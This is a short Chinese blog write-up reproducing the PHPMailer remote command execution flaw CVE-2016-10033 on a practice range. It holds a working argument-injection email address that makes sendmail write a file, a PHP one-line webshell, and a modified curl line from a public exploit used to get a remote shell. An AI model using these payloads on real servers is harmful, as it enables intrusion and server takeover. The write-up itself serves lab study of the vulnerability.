MENU

PHPMailer远程命令执行漏洞复现

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

0x01 漏洞原理

知识点梳理,靶场复现

漏洞编号:CVE-2016-10033

影响范围:PHPMailer版本<5.2.18

PHPMailer中的mail函数在发送邮件时使用了系统sendmail方法,由于没有足够过滤使得用户可以注入攻击代码

PHPMailer命令执行漏洞(CVE-2016-10033)利用escapeshellargescapeshellcmd两个函数结合使用,导致了单引号逃逸。具体的漏洞分析和利用过程可以通过合天网安的这个实验进行,但是要价200和氏币:

0x02 靶场复现

先用墨者靶场复现

打开页面是一个英文网站,拉到底部有个邮件链接:

点进去,是个邮件发送界面;

Exp:

构造邮箱

"attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com

消息:

<?php @eval($_POST[a]);?>

sendmail -X参数可以将日志写入指定文件,发送后页面卡住了,但是不要紧,其实一句话木马已经写入了

上蚁剑连接:

拿到key

0x03 rce-exp

exp地址,下载后,测试远程目标运行如下命令:

./exploit host:port

本地测试如下:

./exploit localhost:8080

默认的exp只给两个参数hostport,本题里面还有目录mail.php,简单修改即可:

只需把

curl -sq 'http://'$host -H 'Content-Type:

中添加你对应的目录即可:

curl -sq 'http://'$host/mail.php -H 'Content-Type:

成功获取到远程shell,权限是www-data用户

0x04 尝试提权

还没。。

本文完。

参考文章: